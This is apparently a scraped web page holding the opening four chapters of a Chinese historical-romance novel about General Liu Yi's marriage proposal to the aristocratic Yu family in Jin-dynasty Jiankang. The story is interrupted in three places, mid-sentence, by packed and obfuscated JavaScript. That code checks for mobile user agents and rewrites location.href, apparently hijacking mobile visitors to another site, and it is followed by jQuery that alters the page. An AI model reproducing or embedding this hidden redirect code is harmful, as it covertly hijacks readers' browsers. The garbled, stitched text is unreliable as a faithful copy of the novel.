《虞氏有好女》 1. 虞氏女 “江南可采莲,莲叶何田田。鱼戏莲叶间......” 这是自汉代以来在建康一带流行的曲调,如今接天莲叶无穷碧,正是采莲的好时光。那些妙龄的女郎们手提竹篮,于建康城外的湖面泛舟而行。 层层叠叠的莲叶,在湖面上投下了虚影,几缕阳光穿过莲叶的间隙,映照出女郎们那如花般初绽的容颜,清澈的容颜与粉白的莲花相互辉映;鹢首徐回之际,莲花飘落,也让女郎们单薄的衣衫和褶裙沾染了莲花的清香。 女郎们一边采摘着莲蓬,一边唱和着几百年来流传的民歌,那歌声婉转而悠长,在湛蓝的湖面留下了阵阵涟漪。 而这片莲花盛放、小舣穿梭的湖面,一艘高大的乌木楼船,格外引人注意。 船头有两人并肩而立,左边那位年轻人神色冷峻、身形高大健硕,穿着当朝武将常穿的袴褶;另一位则是儒生打扮,羽扇纶巾,年约四十有余。 那儒生笑道,“君侯此番入京城求娶,姿态足够诚恳,想必不久君侯就会娶得佳人归了。” 原来这位武将装束的年轻人正是本朝的建军将军刘毅,他一直在外镇守丹徒。 前几年五斗米道的孙恩造反,东南八郡纷纷响应,一时间声势浩大,成为朝廷之患。前北府兵将军前去平乱,竟被枭首示众,震惊朝野。 危难之际,朝廷上下噤若寒蝉,陛下几欲垂泪,可那些养尊处优的高门士族,早已不是当年肥水之战的谢氏芝兰。 只有这位出身寒门的原北府参军刘毅挺身而出,他披坚执锐,巧用兵法,即使身边随从战死大半,也酣战不止,终于剿灭了 这次的五斗米道的起义,成为了北府军的执掌者。 而后他又平定了西南的蛮族之乱,被推为都督扬、徐、豫三州诸军事及建军将军。 从此,刘毅成为了朝廷最有前途的年轻将领。 可这位势头正盛的年轻将军,已经二十六岁了,却还未成亲。 说来也能理解,这位建军将军能一路拼杀出来,想来也是不甘沉沦下僚的,自然要娶一位能给他助力的妻子。可他虽说已经是朝廷中数得上的人物了,但依旧无法突破家世的藩篱。 在这个世胄蹑高位的时代,刘毅只能用鲜血换取军功;而这种刀口嗜血之路,在士族看来,竟是最粗鄙的一条进阶之途!平流进取,而至公卿,这样的风雅之路才是适合他们的,而选择了行伍,连桓温这样的英雄都会被鄙视,更何况是寒门出身的刘毅? 这样的刘毅,竟妄想求取京都士族虞家的女儿! 世族和寒门,云泥之别,高门大户怎么会愿意自降身份与他结亲呢? “佳人?不过就是一朵温室里的花罢了。”刘毅淡然回道,自己登门求娶的高门女子,从他的口中说出来,仿佛是最寻常不过的人物。 刘毅此次入京向虞家求亲,正是眼前这位名叫樊宇的儒生的建议。 那时樊宇劝道,“虞家有好女,容貌动京华。这是京都人人都知道的,君侯已近而立,何不求娶?” “虞家是与王谢齐名的世家,他们家的女儿,又岂是我能肖想?”刘毅彼时是拒绝的,并非不愿,而是不能。从衣冠南渡以来,士庶不通婚早就成了约定俗成的铁律。 可是樊宇却狡黠一笑,“君侯此言差矣。孟子曰:此一时,彼一时也。就算是王谢一般的家族,如今又有几位能像君侯一般肃清天下?我看,都是靠着祖上的恩荫,昏昏度日的庸才罢了。” 都说良禽择木而栖,樊宇对自己的君侯格外的骄傲,他继续劝说道,“话说这虞家,除了家主尚且还算名士,剩下的皆不堪重用,君侯又何必妄自菲薄?” 这些刘毅并非不知,只是那些士族向来抱团守旧,又有一堆弄不清头绪的繁文缛节,还有他们沿袭已久的清谈之风,自己不善文墨,又何必去自取其辱? “君侯无需担忧,那虞家颓势已显,他们既然肯放出“虞氏有好女”这样的句子,想必也是要借此女的名声搏一个破局。据我所知,那虞家女早已过了及笄之年,却还未定亲,这必定是想寻一位强权人物而不得,虞家必定心急。而您,不也正需要江左士族的支持吗?这简直就是双赢之事啊!” 刘毅终于动摇了。 他虽是汉室后代,但经历了汉末两晋的战乱,早就和平民无异,只能勉强攀得上一个低等士族的称号。 从寒门一路到这里,他不知付出了多少! 可在那群惺惺作态的贵族眼中,他就是一个粗鄙的武夫!自己的建议和政策,他们屡屡无视甚至阻碍。可恨!可恨!但又无奈! 如果能与那虞家结亲,倚靠最顶级的士族,简直会如虎添翼!自己的一腔抱负,也会更容易实现吧! 就像在战场上一样,刘毅把虞家看成了一个据点,他一定要拿下。 微风将莲花的香气温柔地送到刘毅的面前,也将他的思绪带回到不久前在虞府的遭遇。想到在虞府的一幕幕,年轻的建军将军眼神一沉。 那虞家家主还算明白人,只是其余的老家伙们,一个个尸位素餐也就罢了,自己身为都督三州军事的北府军首领,登门求亲,给足了姿态,他们还摆出一副高高在上的样子,甚至还有人做出晕厥状,仿佛这位建军将军的到来亵渎了他们虞家的门楣,简直做作可笑。 年轻的将军忍不住想将这些涂脂抹粉的家伙暴打一顿,然后潇洒离开。 不过身经百战的他总算保持了理智:这不是意气用事的时候,但是虞家这个据点,他不会轻易放弃。 这时,几个采莲女泛舟而过,她们频频回首,将去未去之际,女孩子们开始了歌唱,“碧玉小家女,来嫁汝南王。莲花乱脸色,荷叶杂衣香。因持荐君子,愿袭芙蓉裳。” 这歌声袅袅,带着绵绵情意传递到了刘毅的耳中,刘毅似乎因这歌声愉悦了几分。 他轻哼道,“我看那虞氏女,还不如这些采莲的女郎呢!” 那傲娇的神色,终于让这位建军将军显露出一点年轻人该有的色彩。 那樊宇怎会不知主君所想?罢罢,他总不能让君侯和未来的夫人成为怨侣,“君侯,虞氏女郎的美名不亚于谢家女,不是普通女郎所能比的,不知被多少人所仰慕呢!” 末了,樊宇又加了一句,“君侯如若实在不喜,婚后再纳几房娇妾,岂不美哉?” 刘毅微微一笑,未置可否。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285896|198435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 建康城东郊的钟山远离京都的喧嚣繁华,南面又有燕雀湖相对,云雾缭绕于山间,归鸟轻拂过湖面,是一处极为清幽的所在;京都虞家的别业——博望苑就建于此地。 已是子时,万籁俱寂。朦胧月色之下,博望苑的绿水之畔传出阵阵清冷的金石之声,沿着这声音寻去,一位丽人怀抱着箜篌,于花木扶疏,树影斑驳之下,孤寂地拨动着琴弦。 “母亲,更深露重,咱们还是回屋去吧!”一位年轻的女郎劝道,她身姿婀娜,肤色胜雪,容貌娇艳而妩媚,而那双顾盼神飞的眼睛,又让她多了一丝风骨和气韵,不至于因为过于妩媚的容貌落入下乘。 这位女郎一直陪在弹奏箜篌的母亲身边,月光洒在她白茶色的衣衫之上,让人忍不住担心这纤柔而美丽的女郎会不会随着月光而去。 “回去做什么,屋里闷得很,哪里有这里自在!”母亲拨出了最后一个音符,这琴声低沉而忧伤,在夜色中传递了许久。 女郎如何不明白母亲的忧愁? 母亲是京都褚家最受宠的女儿,她容貌气度皆是不凡,年轻时也是建康城有名的世家女,很早就与身为朝议郎的虞家嗣子议亲。 按理说两人门当户对,又郎才女貌,应该是琴瑟和谐的。 可自她有记忆起,母亲褚夫人就常常离开京都的府邸来到别业独居。 “父亲,难道一开始就和母亲这样疏离吗?”曾经这样问过褚夫人。 “你的父亲,也和我有过情深意笃的时候,但世间最无法把握的便是人心,况且......” “况且什么?” 褚夫人看着年幼的女儿,她美丽的杏眼里是疑惑和不染尘垢的纯真,那时的褚夫人怎么会愿意告诉乘月一些不太美好的现实呢? “乘月,你无需陪我,早些回城,那郗家的大公子是不是还在等着你的诗?”褚夫人含着笑,轻轻地抚了抚乘月被晚风吹乱的鬓发。 “母亲,我与郗家兄长只是交流些五言的感悟罢了。”虞乘月微妙的小女儿心思忽然被母亲点出,不禁有些羞赧,好在夜色朦胧,那偷偷袭上脸颊的红晕无人察觉。 “乘月,咱们母女之间,有些话就直说了,你已及笄两年,婚姻之事不能再耽误了,你觉得那郗家大公子怎么样?” “郗公子人才俊秀,又温良谦恭,自然是好的。只是,父亲,他似乎对郗家公子......” “哼!你父亲眼高于顶,他还当是王谢虞桓的时代呢!他想着用你的亲事给虞家扭转乾坤!那郗家,虽说也是一等的家族,可毕竟比不上王谢虞桓。郝家大公子,现在也不过是个秘书丞,你父亲当然瞧不上了!”褚夫人语气中满是对夫婿的鄙夷。 “母亲,您误会父亲了,他不是这样的人。” 褚夫人暗暗叹了一口气,“孩子,在你父亲的心中,家族是排在第一的。他事事都要维护虞家的利益和体面,就算是你的婚事,在家族面前,恐怕也得让位呢!” 母女俩絮絮说着话,褚夫人身边的阿南姑姑匆匆而来,“夫人,主君派人送了一封信,请您过目。” “什么事情,这般紧急!都这个时辰了,还要送到这里来!” 2. 士庶婚 月色朦胧下,虞乘月依然可以看到褚夫人的眉头紧皱,胸口起伏不定,那张薄薄的信笺,被褚夫人撕成了碎片,随风扬走。 “母亲。”乘月走近一步,轻轻唤道。 褚夫人回头看向乘月,神色忧虑:自己的女儿雪肤花貌,又善良聪慧,这样的女郎,配得上世间最好的男儿,可是,可是! “乘月,你的好父亲,堂堂的尚书右仆射,嘉乐郡公!竟然想让你和那镇守丹徒的草莽结亲!” 虞乘月震惊得说不出话来。 那镇守丹徒之人,她也有所耳闻,是新近崛起的实权将领,朝廷里少有的寒门将军。据说他性情粗鲁,不识文墨。 这样的人,父亲竟然有了结亲的想法? 可是,士庶之别,国之章也! 士族就任由庶族担任的官职,都会被视作失类,十分耻辱!更何况是结婚呢?! “你的父亲,这是为了家族献祭了女儿。虞家或许会因此获利,而你却会从云端跌落,沦为为人们的笑柄,这件事情,决不能发生!”褚夫人恨恨道,“我们回家!” 乘月和母亲从山中回到虞府已是第二天午时。 稍作休息,褚夫人便冲到了虞家最年长的叔祖那里——彼时乘月的父亲尚书右仆射大人还在宫中值宿,还未归家。虽说刘毅提亲之事尚未有定论,但褚夫人的怒火是在虞大人预料之中的,躲在宫中也算清净。 褚夫人所找的这位叔祖是乘月父亲的叔父,他精通佛老之说,五十年前曾经参与过一场当世高僧的辩论,以玄思闻名士族,是虞家上一辈中最有名望的老者,乘月的父亲对他也是格外敬重。 “夫人,道人今早就去了观里,暂时不会回来了。”仆从如是说。 这位叔祖研究佛老入了迷,这些年越发仙风道骨,将红尘俗事都抛诸脑后了。 “走,我们去你大伯父那儿!” 褚夫人并不气馁,她带着乘月来到了虞仆射的庶兄院里。虞仆射的这位庶兄是朝廷的散骑常侍,负责规谏皇帝的过失,但他却常常借病闲居在家。虞仆射与庶兄手足情深,两人有空就在一起谈论儒学和音律。 褚夫人步履匆匆,鬓发间的赤金凤凰步摇随着她的脚步急促地晃动,阳光下流动着的色彩,也让乘月的心随之波动起来; “弟妹,咱们的常侍大人新得了一位妖童,现在不知道和他在哪里听曲观舞呢!”前来接待的却是乘月的大伯母,言语中是对丈夫的哀怨。 这位大伯母和夫婿的关系,正如同这个时代大多数世族夫妻一样疏远,并不比乘月的父母亲好多少。 “母亲,算了吧,等父亲回来再说吧。”乘月劝道。 褚夫人没有放弃,“还有你的叔父,你父亲对他的话也会思量三分。” 这位叔父是乘月父亲的堂弟,是太常寺里掌管藏书和编校的秘书监,而虞仆射喜爱钻研典籍,跟这位堂弟的关系也很好。 乘月只好再跟着母亲来到叔父的院落,前来迎接的却是叔父的书童。 “夫人,秘书监大人跟几位族兄弟吃了些五石散药酒,还没醒来呢!” 这位秘书监大人早些年还算认真踏实,每日整理典籍,校正书稿,后来却厌烦了这琐碎的工作,干脆学起了同族的散骑常侍,称病不来了——反正那些寒门弟子一个个兢兢业业,自己的那份工作交给他们,他们也不敢有怨言。 几位长辈,偏偏这种时候都不在,虞乘月忍住了想翻白眼的冲动——这不是一个世家闺秀该有的举动。 “这虞家越发荒唐了!能说上话的人,年老的修道,年轻的颓废放纵,一个个尸位素餐!虞氏之祸,将自尔辈起!”褚夫人愤愤道。 当初,褚家看这虞家位列一等士族,与王谢齐名,便将自己如珠似玉的女儿嫁给虞家嗣子,哪里知道,十几年后,京都虞家,竟到了金玉其外的地步了! “平流进取,遂至公卿,也不奇怪。”乘月心想。这些叔伯所做之事,就算是深在闺中的乘月,也早有耳闻。 折腾了一番,褚夫人也有些累了,这才发现身边好像少了一个人,“你阿弟呢?” 往常每每褚夫人回府,乘月的胞弟虞云华总会第一时间赶到母亲身边,十三四岁的少年,正是既渴望自由,又依恋母亲的时候。 可今天褚夫人在虞府各院里奔走,众人都已知晓,云华却不见踪影。 “公,公子他不在书房,也没有去书院。”云华的书僮面对褚夫人的质问,回答得支支吾吾。 “那他去了哪里!”褚夫人的语气严肃起来。 褚夫人虽然美丽和善,但她毕竟是大家族的嫡女,又是虞家的宗妇,自有一种威严的气场。 那书僮吓得伏跪在地,战战兢兢,“褚家的小公子说,伎坊新来了一批乐伎,说是要带公子去见识见识。” 这位小公子,是褚夫人哥哥的幼子,他和虞云华年岁相仿,因着褚夫人的关系常常出入虞府,与虞云华一起读书玩乐。 褚夫人几乎要晕倒在地,先是自己的夫婿想用女儿拉拢军队的新星,现在又是自己的幼子被引诱到那等浮靡堕落的场所。 乘月也惊讶不已:她的弟弟虞云华,在钟鼓馔玉、锦绣繁缛之中成长得有些骄纵,常常从书院逃课,去参与田猎和樗蒱之类的游戏,这是世家子弟的通病了。但云华又和他们有些不一样,他喜欢读游侠列传,最爱那些探丸借客的故事,梦想一天仗剑天涯,从来没听说于声色上有什么兴趣,怎么忽然就跟着去了伎坊?! 初夏的绵绵暑气夹杂着一连串的冲击,让褚夫人面色有些苍白。 乘月赶紧将身心俱疲的褚夫人搀扶到室内,为她斟上一杯清茶。 “乘月,我错了,我不该为了和你父亲置气,长期独居在博望苑,让你的阿弟失去了一重教导和束缚。” “母亲,不如我们去伎坊将云华找回来!”乘月跃跃欲试。 阿弟只是被人引诱,她相信只要及时制止,云华定能回到正轨! “乘月!你在说什么?你忘了自己的身份吗!?”褚夫人那双美丽的眼睛里满是不可置信,仿佛不认识眼前的女儿。 云端之上的世家女,怎能去那种混乱堕落的地方? 要时刻保持优雅的仪态,要步履平缓,要微微抬起下颌......冲到伎坊不是她们这种身份的女子能做的事情。 乘月无奈摊手,“那么阿母,我们该怎么办呢?” 褚夫人派了家臣季昭前往建康城内有名的伎坊寻人。这位季昭也是阿南姑姑的夫婿,世代效忠于虞府,人品和才干都值得信任。 母女二人端坐于虞府的深宅高堂之上,等着云华的消息。 等待,仿佛是她们的命运:等着父母长辈的召见,等着挑选被议亲,不能主动,要温柔,要含蓄,要矜持,要像一朵美丽的解语花..... 可是,母女二人等到的却是从宫中回来的虞大人。 虞仆射猜想经过了一天,夫人的火气应该消了不少,这才回到虞府。 褚夫人的脸色看着有些憔悴。那个艳光四射的美人,以往和自己发生争吵后,不过是变得冰冷而已,从未有过如今日一般憔悴凋零的时刻。 是不是说明,夫人还是如同年少时那样深爱着自己?虞仆射不免回想起了两人年轻时的浓情蜜意,那时的夫人是建康城最美的花,而自己是唯一摘下这朵花的人,只有他能见到她的羞怯、依恋、嗔怒和牵挂。可后来...... “父亲。”乘月恭恭敬敬地向虞仆射行了个万福礼。 虞仆射看向女儿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285897|198435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他唯一的嫡女,被教养得很好:才思敏捷,步步生莲,礼仪上简直无可挑剔,容貌的娇艳明媚也不逊于其母。 如果是在祖父的年代,女儿的这等品貌,成为中宫都绰绰有余,匹配王谢更不在话下。 可现在,虞府虽然还是那个令世人艳羡的一流世家,而内里,虞家的子弟们,早就抛弃了晋初以武功进取的传统。除了虞仆射,几乎无人能触及到朝廷的政治核心,这是明眼人都能看出来的事。 家族的渐衰也影响到了女儿的婚事,王谢家门难入,低等世家无益,高不成低不就。还不如另辟蹊径,和真正有前景又需要依附家族的寒门后辈结亲。 “你先回去吧。”虞仆射不愿女儿面对夫妻二人即将爆发的冲突。 “是。”乘月乖巧地退下。 “夫人。”待女儿走后,虞仆射小心翼翼开了口。 “你还知道回来?”褚夫人的怨气弥漫于整个房间,但依然无损于她惊人的美貌。 “夫人,我是在宫中值宿,不然定是早早回府陪着夫人了。” 褚夫人也不愿和他多说,直接问道,“你可知云华今天去了哪里?” “应该去书院念书吧。”虞仆射还不知道发生了什么。 “他去了伎坊!” “伎坊!”虞仆射也有些吃惊。 虽说大晋的士族喜爱歌舞,家中也多豢有女乐,但伎坊三教九流、鱼龙混杂,不是世家子弟该去的地方。 更何况,云华还只是个十三四岁的孩子。 “虎兕出于柙,龟玉毁于椟中,是谁之过与?”褚夫人恨恨,但说出的话依旧是文雅的。 “玉仪,这都怪我,没有把云华教导好。” 玉仪是褚夫人的闺名,虞仆射只有到真情实意的时刻,才会这样称呼妻子,“我这就派人将云华带回来。” “季昭已经带人去找了。”褚夫人语气平淡,但虞仆射却觉得一场风暴就在酝酿之中,“听说,你想把乘月许配给刘毅?” 褚夫人的脸上看不出任何表情,冷得如同地窖里的冰块。 “玉仪,你先别生气。”虞仆射想去拉住褚夫人的手,却被褚夫人一把挣脱。 “玉仪,这门婚事还未下定论。”虞仆射赶紧安抚夫人。 “你分明已经动心!” “玉仪,虽说刘毅出身卑微,但他未到三十就已是建军将军,都督三州军事,这等才俊,也不算辱没乘月啊!” “不算辱没?你倒说说,京都的士族,哪一家和寒门结亲?哪一家愿意和寒士有牵连?这都不算辱没,什么算?” “玉仪,虞家的情况你我都很清楚,家族的未来需要刘毅这样的实权人物啊!” “所以,你就任由女儿被人践踏!要她去服侍乡野之人,要她从云端跌落脚底,人人鄙夷?!” 虞仆射叹了口气,他理解妻子的怒火,士庶之别,犹如天堑,自己最开始听到刘毅的求亲,也有过一瞬间的愤怒;可后来,和家族的长辈们商议之后,才发现这竟是为数不多的挽救家族颓势的机会。 自己身为父亲,怎么会不希望女儿好?只是,他作为虞家的家主,肩负着振兴家族的使命;他的妹妹,是中宫的皇后,但目前陛下宠幸的另有其人,虞家也只能尽量低调。他,实在没有办法了呀! 褚夫人见到丈夫的失落,语气微微和缓,“乘月小时候,那么冰雪可爱,你抱着她,说要把最好的给她。这些,难道你都忘了吗?” 褚夫人说着说着,竟要流下泪来,既是为了女儿那不知驶向何方的命运,也是为了这没落的时代。 虞仆射搂住夫人清瘦的肩头,“玉仪,这事我们再商议,别哭了。” “主君,夫人,公子回来了。”阿南走了进来,轻声禀告。 3. 桃花叠浪 已是辰时,虞府的气氛因为褚夫人搜索虞仆射的缘故,似乎有些紧张。往常不到这个时候,褚夫人就已经派人叫乘月一起用膳了,可现在迟迟不见褚夫人的召唤。 乘月心中有些不安,遂在侍女阿梅的陪伴下,用一盏明亮的绛纱灯,穿过深沉的夜幕,来到了前厅。 前厅的匾额上写着“桃花溪水”四个字,是取其幽静之意,可是两人刚刚走到前厅外的游廊,便已隔着一泊湖水看到那里灯火通明。远远望去,前厅好像多了些陌生来客。 虞乘月带着阿梅,绕过游廊,从侧门进入,躲在了重重帘幕之后。 从乘月的角度看去,褚夫人在阿父虞仆射的身边,将幼子虞云华紧紧搂在怀中。阿父的对面,站着一个脸色愠怒的中年人。 这个中年人还穿着三品官员才能穿的紫色袷袴;他的身后跟着一群孔武有力的仆从,显然来者不善。 而季昭也带着几个手下,目光如炬,戒备森森。眼见得气势紧张,是剑拔弩张的前兆了。 那中年文官目光阴恻,“虞大人,这次,虞公子将我儿打成重伤,生死未卜,难道这事就这么算了?” 什么?云华竟然将人打成重伤,生死未卜?! 弟弟虞云华虽说喜爱田猎,但从未发生过欺凌他人的行为! “是他出言不逊在先!”虞云华挣脱母亲的怀抱,少年白皙的脸上充满了不忿。 “住口!”虞仆射喝道,一个眼神,已有家臣将虞云华带走。 虞仆射转头对这位来势汹汹的文官道,“我们一定让犬子负荆请罪!虞家药行有最珍贵的药材和最优秀的大夫,一定会把贵公子治好的。” “请罪那是必须!至于药材和大夫嘛,我们张家也是不缺的。” 张家,哪个张家?乘月想来想去,这偌大的建康城,敢上门寻仇的,恐怕只有晋初名相张华的后人了! 这张家虽说也算是世家门第,但自张华以后的百年间也衰落了。不过这几年张家的家主将妹妹送入宫中,颇为受宠,他们张氏一族有了抬头之像。 “那你们要怎样?难道要我儿偿命吗?”褚夫人怒道。 “贵公子的命我们怎么敢要!只是,我儿总不能就这么白白挨打!我们想要一些赔偿总可以吧。” “那是自然。”虞仆射赶紧答应。即使因为儿子伤人理亏,也是因为,他听到风声,说是陛下将品评士人的权力交给了张侍中,也就是眼前这位中年文官。 “我要的赔偿很简单,你们虞家的桃花叠浪。” 桃花叠浪!虞乘月倒吸一口冷气! “桃花叠浪”是虞家的另一座苑囿,也可以说是堡垒。那里种满了桃花,每年春天时,桃花盛开,春风吹过如同千层浪起,故而名曰“桃花叠浪”。 “桃花叠浪”不仅景色怡人,更重要的是依山傍水,地势极为险要。这里物产丰足,囤积了大量的食物,虞家以此地为根基建立了坚固而庞大的坞堡,在东汉末年的乱世护住了全族的平安。 如果失去了“桃花叠浪”,虞家就如同无根之木,无源之水。虞家祖训,“桃花叠浪”无论如何也不能转手于他人。有一年,皇室想要征用这块土地建行宫,都被虞家家主拒绝了。如今,虞仆射怎么会同意将它让出呢? “这绝无可能!”虞仆射斩钉截铁地回道。 “如果虞大人这点诚意都没有,那就恕下官只能用自己的方式回报贵公子了。” “什么意思?” “意思很简单,贵府嘉乐郡公的爵位,想必陛下不会给一个德行有亏的人吧。” “你想做什么?” “虞大人,您也知道,陛下正准备召集当世大儒品评士族人物,并重新评定士族的等级之事吧?” 从东汉末年开始,就有了士族品评人物的传统,这都是当世大儒才有资历和威望做的事情,没想到陛下竟然将这个事交给了外戚张侍中。 “张大人,”虞仆射的表情严肃,“士族人物,是要根据德行和才干来品评的。” “可是贵公子狎伎伤人,算不算德行有亏?我也知道,您心中不服,不过,我张氏一族,从先祖张丞相起,就有了文学的传统,在儒生中多少是有些声望的。” 张侍中有些得意,如今他们张氏,已经成了那些想跃升等级之人巴结的新贵。 虞仆射从容道,“张大人果然是烈火烹油、鲜花着锦。但朝廷之事,也不是你一个人说了算的。” “我知道,虞大人是想说,您的姐姐是皇后。难道我们张家就没有皇亲?” 那位被献入宫中的张氏女,也就是张侍中的妹妹,如今被封为贵嫔,已有盖过皇后之势。 “如果虞家不能给我们张家一个满意的答复,”张大人拔出剑来砍断了桌腿,那块红木方桌瞬间轰然倒塌,“那么,虞家就有如此桌。” “简直是得寸进尺!”虞乘月心想。 如果在虞家尚未呈露颓势的时代,这个张大人是无论如何都不敢这样威胁父亲的。 乘月略一沉吟,“阿梅,将这杯丹酒送给父亲。” “大人,到了服食丹酒的时刻了,这是女郎让我给您送的丹酒。”阿梅走上前厅,恭敬地呈上一杯赤红的药酒。 “丹酒?”不过犹疑了片刻,虞仆射明白了女儿的意思,心中五味杂陈。 “看来虞家人喜好药酒的传闻并非无中生有啊。”张大人不无讽刺。五十散之类的药酒,原为调理身体时所用。只因副食时要褪去衣衫散热,那种无拘无束,飘然欲仙的感觉,被贵族们看成了超脱世俗的艺术,汉末以后逐渐流行。但在外人看来,这是这些不务正业的世家子弟们荒唐颓废的表现。 虞仆射并未理会这嘲讽,他淡然笑道,“张大人,既然我儿理亏在先,您又坚持“桃花叠浪”,我们虞府也得表示诚意才是。” 张大人露出一丝得逞的笑意,他们久居中流,如果能从虞家手中夺取“桃花叠浪”,那么这就是他们将虞家打败的证据,而张氏一族回归晋初的荣耀,成为顶级士族也就不远了。 “不过,”虞仆射话锋一转,“此事我还要和建军将军商量一番,他刚和我家定亲,多次提过很满意那块桃花叠浪。” “定亲?那位都督三州军事的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285898|198435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 建军将军刘毅?”张侍中异常惊愕。 “难道我朝还有第二个建军将军?”虞仆射笑道。 “这这,”这位张大人有些讪讪的。不管张氏一族,多么左右逢源,他们也知道,自己是绝不可能挑战掌握了兵权的人物的,尤其是这位掌握了大晋北府兵军权的建军将军。 北有胡人压境,内有邪道作乱的时代,军权才是绝对的实力,而士族之间那些盘根错节的关系,在这种绝对的实力面前简直薄如蝉翼。 “既然是建军将军有意,那张某又何敢夺爱?”张侍中不得不佩服虞仆射这老贼魄力,竟然敢自降门楣,与寒门联姻! 与刘毅联姻是一桩豪赌,也许刘毅会更进一步,成为手握天下重兵的将领。那时虞氏内有皇后,外有刘毅镇军,他们虞家必将挽回颓势。 可现在,天下人的耻笑,也够这虞仆射受的了。 “乘月,你可知,自此以后,人们都会知道你和那位建军将军的关系了。”虞仆射的眼神中有着一丝父亲的哀怜。 乘月偏过头去,盯着那在夜风轻轻晃动的宫灯,宫灯里烛光明灭,是她那看不清的未来。 乘月知道自己想要的是什么。 幼时,她读到了一篇仙人故事,故事里说秦穆公时有一个叫做萧史的人,善于吹箫,能招来孔雀和白鹤。秦穆公将女儿嫁给了他。两人每天学箫吹箫,吹出了凤凰的鸣叫声,招来了真正的凤凰。秦穆公为二人建造了一座凤台,两人从此生活在风台之上,终有一日,他们随着凤凰飞去了。 乘月想要的,就是如萧史一样与自己心意相通,体贴温柔的郎君,而这郎君最好还要能与她白首到老,不生二心; 但是褚夫人告诉她,这在士族几乎是不可能的,温柔体贴也许会有,心意相通或许也能碰到,但白首而不生二心,对于世家子弟而言,不太可能——他们习惯了倚红偎绿,怎么会因为一朵美丽的花朵而放弃了整座苑囿? 那么再退一步,乘月想要的是相貌还算俊逸,尊重自己,和自己休戚与共,偶尔一起煮酒烹茶、谈诗论道的郎君。 可传闻中的这位将军,肤色黝黑,长相凶恶,性情暴烈,不通文墨,粗俗不堪,又如何能奢望与之有一段萧史弄玉的姻缘呢? 我们的建军将军刘毅并不知道自己已经引起了如此大的恐慌。他随意披着一件青色的褶衣,倚坐于窗边案几旁的小塌之上;高大魁梧的身形,几乎要占据了整个卧榻。 散值的时刻已过,他的谋士樊宇却被召进了丹徒的官衙。 樊宇打了个哈欠,揉了揉惺忪的睡眼,“君侯为何这时召唤?老臣的夫人还以为老臣是要私会美人,差点没撕了老臣。” “既然你的夫人醋性这么大,那我索性赐你几位美人,她习惯了就好了。” “使不得使不得。”樊宇吓得连连摆手。 刘毅鄙视道,“看你这模样哪里像是建军将军的人!简直是个妻管严!” 樊宇嘿嘿笑道,“臣甘之如饴。” 刘毅更加嫌弃了,也不再多说,将身边的一封信笺扔了出来。 “接着!” 4. 乌衣巷内 樊宇打开信笺,快速扫了一眼,笑道,“恭喜君侯得偿所愿!” “你果然算得准。”刘毅也不得不佩服樊宇这个老狐狸,当年樊宇还只是街边卖字画小商贩,却能根据气象预测到敌人会发动火攻,刘毅据此提早安排,避免了一次大的损失。 虽然当时的樊宇毫无背景,也无任何从军的经历,但刘毅依旧力排众议将他纳入了自己智囊。后来这个人屡屡为自己出奇谋,定纷争,不逊于古往今来的任何谋士。 想到这里,刘毅不禁骄傲起自己的眼光,“接下来,就烦请军事为我拟定提亲的物件吧。” “遵命!”樊宇双手抱拳道,“那老臣先回去了?长夜漫漫,可不能让夫人等太久。” “滚!你个妻管严!”虽然已经是三品的建军将军、北府军首领,可是底层出身的刘毅依然难以改掉行伍之人粗俗的气息。 樊宇丝毫不怕,那双不大的眼睛笑出了褶子,“君侯,有时候,妻管严才是福气捏!我等着君侯妻管严的那天。” 还没等刘毅回应,樊宇便一溜跑了。 “呵!妻管严?我?建军将军?怎么可能!?”刘毅自言自语。 有时候,人不能把话说得太满,否则是要被打脸的。 乌衣巷是一条依傍着秦淮河的狭窄巷子,巷子两边的建筑白墙黑瓦,初看之下与建康的其他街巷并没有什么太大的区别;但这条巷子规划整齐,屋宇庄严,一个人如果突然走进来,一定会产生不敢高声语的感觉。 巷子两边厚重的砖墙里,偶尔传来隐隐约约的丝竹之声,让人忍不住遐想:这片庄严肃穆的栋宇之中,是否会藏着旖旎的情丝? 只有自由的娇鸟和飘旋的飞花才有机会替我们一窥其中的秘密了。 随着初夏的微风,一朵轻柔的蔷薇飘进了深深的庭院,落在了年轻女郎梅色的褶裙之上。褶裙随着女郎舞动的身姿旋转,绽放成了最灿烂的牡丹。 这位女郎回首之际,面如春日桃李,灼灼其华,俨然是虞家的女儿虞承月。在不停歇的旋转飞舞中,汗水浸透了她轻薄的衣衫。 阿梅不解地问,“女郎,夫人上次说乐舞之事,是倡优才会做的,你为何要违背夫人的意思这么辛苦地练习呢?” 那是在博望苑的时候,乘月看褚夫人郁郁不乐,便以一段白纻舞来缓解褚夫人的心情,但褚夫人的脸色却不见好转,她严肃地问道,“你何时习得此舞?” 